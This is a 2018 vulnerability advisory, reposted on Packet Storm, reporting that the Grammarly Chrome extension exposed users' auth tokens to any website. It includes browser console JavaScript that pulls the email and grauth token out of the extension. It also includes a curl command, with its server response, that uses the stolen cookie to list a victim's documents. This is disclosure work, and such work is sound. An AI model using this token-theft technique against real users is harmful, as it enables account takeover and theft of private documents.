exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Grammarly Auth Token Exposure

Grammarly Auth Token Exposure
Posted Feb 6, 2018
Authored by Tavis Ormandy, Google Security Research

The Grammarly chrome extension (approximately ~20M users) exposes it's auth tokens to all websites, therefore any website can login to grammarly.com as you and access all your documents, history, logs, and all other data.

tags | advisory
SHA-256 | 38a9c89eebeb3e6644a94f0e937ee633297f223f24e55bd0ad56fef9c72d79e0

Grammarly Auth Token Exposure

Change Mirror Download
Grammarly: auth tokens are accessible to all websites 




The Grammarly chrome extension (approx ~20M users) exposes it's auth tokens to all websites, therefore any website can login to <a href="http://grammarly.com" title="" class="" rel="nofollow">grammarly.com</a> as you and access all your documents, history, logs, and all other data. I'm calling this a high severity bug, because it seems like a pretty severe violation of user expectations.

Users self-evidently would not expect that visiting a website gives it permission to access documents or data they've typed into other websites.

Reproduce:

Here is how to repro, on any website (e.g. <a href="http://example.com" title="" class="" rel="nofollow">example.com</a>) type this in the console to get a grammarly auth token (obviously a website could do this with <script> without any user interaction):

> document.body.contentEditable=true // Trigger grammarly
> document.querySelector("[data-action=editor]").click() // Click the editor button
> document.querySelector("iframe.gr_-ifr").contentWindow.addEventListener("message", function (a) { console.log(a.data.user.email, a.data.user.grauth); }) // log auth token and email
> window.postMessage({grammarly: 1, action: "user" }, "*") // Request user data

It should print something like this:

<a href="mailto:testaccount.zzxxyyaa@gmail.com" title="" class="" rel="nofollow">testaccount.zzxxyyaa@gmail.com</a> AABEnOZHVclnIAvUTKa4yc1waRRf59-hY3dVDT0gvrDfcJDAFt3Nlq84LpWFpzH1tkxzqs

That grauth token matches the grauth cookie used on <a href="http://grammarly.com" title="" class="" rel="nofollow">grammarly.com</a>, and I verified that is enough to login to a <a href="http://grammarly.com" title="" class="" rel="nofollow">grammarly.com</a> account. Therefore any website can access all your docs.

To prove grauth is enough to compromise a grammarly account, you can get a list of all uploaded documents like this:

$ curl --cookie "grauth=AABEnOZHVclnIAvUTKa4yc1waRRf59-hY3dVDT0gvrDfcJDAFt3Nlq84LpWFpzH1tkxzqs;" -A Mozilla -si '<a href="https://dox.grammarly.com/documents?search=&limit=100&firstCall=false" title="" class="" rel="nofollow">https://dox.grammarly.com/documents?search=&limit=100&firstCall=false</a>'
HTTP/2 200
date: Fri, 02 Feb 2018 20:42:51 GMT
content-type: application/json;charset=utf-8
content-length: 438
server: nginx-clojure/0.4.5
x-xss-protection: 1; mode=block
x-frame-options: DENY
x-request-id: 1-5a74cd4b-1d54e8fe06dc94f47361216e
x-content-type-options: nosniff
content-security-policy: default-src 'none'
strict-transport-security: max-age=31536000
vary: Accept-Encoding, User-Agent

[{"id":260704145,"user_id":704607600,"title":"Demo document","size":3301,"first_content":"Remember when you were a careless eight year old kid riding a bike with your friends,racing each other around the neighborhood? Remember that feeling of absolute freedom as you felt the wind in your hair and the smile it put on your face? I never thought ","errors":41,"created_at":"2018-02-02T19:20:37.693","updated_at":"2018-02-02T19:21:04.268"}]


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: taviso

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close